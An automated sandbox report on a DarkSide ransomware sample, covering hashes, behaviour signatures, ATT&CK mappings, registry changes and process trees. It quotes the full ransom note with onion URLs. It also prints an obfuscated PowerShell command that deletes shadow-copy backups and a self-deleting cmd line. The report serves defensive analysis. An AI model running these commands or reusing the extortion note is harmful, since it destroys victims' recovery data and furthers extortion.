darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
121s
max time network
123s
platform
windows10_x64
resource
win10v20210410
submitted
12-05-2021 19:34

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Report Analysis Logs

General

Target

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.7b336f65.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

pid process

512 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Modifies registry class 5 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

pid	process
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSecurityPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeTakeOwnershipPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeLoadDriverPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemProfilePrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemtimePrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeProfSingleProcessPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeIncBasePriorityPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeCreatePagefilePrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeBackupPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeRestorePrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeShutdownPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeDebugPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemEnvironmentPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeRemoteShutdownPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeUndockPrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeManageVolumePrivilege	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 33	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 34	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 35	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 36	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeBackupPrivilege	188	vssvc.exe
Token: SeRestorePrivilege	188	vssvc.exe
Token: SeAuditPrivilege	188	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	pid	process	target process
PID 512 wrote to memory of 1772	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	powershell.exe
PID 512 wrote to memory of 1772	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	powershell.exe
PID 512 wrote to memory of 4848	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	cmd.exe
PID 512 wrote to memory of 4848	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	cmd.exe
PID 512 wrote to memory of 4848	512	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
"C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1772
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\17139A~1.EXE >> NUL
  2⤵
  PID:4848

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
330dcb4bd6bcf8437e7507dadca3d064

SHA1
3b0b856d1e452fd3d42a44d17c30748d2dd0b708

SHA256
dd46ffacbdad2a8a1bff744dfd615eba59c20dc9ecc23f8c913d54a8f0923b79

SHA512
ebae95b0e70cf9637fe075e5a26f45b2f7ae42c4c4ebf16da42dd59a49970f41ff8c9dbbf21981ba034893200e5e292ea1babf97de1588ebc6fb209ebae5b21c

Download Submit
memory/1772-114-0x0000000000000000-mapping.dmp

Download
memory/1772-120-0x000002E1BC090000-0x000002E1BC091000-memory.dmp

Filesize
4KB

Download
memory/1772-125-0x000002E1BE340000-0x000002E1BE341000-memory.dmp

Filesize
4KB

Download
memory/1772-126-0x000002E1BC160000-0x000002E1BC162000-memory.dmp

Filesize
8KB

Download
memory/1772-127-0x000002E1BC163000-0x000002E1BC165000-memory.dmp

Filesize
8KB

Download
memory/1772-129-0x000002E1BC166000-0x000002E1BC168000-memory.dmp

Filesize
8KB

Download
memory/4848-144-0x0000000000000000-mapping.dmp

Download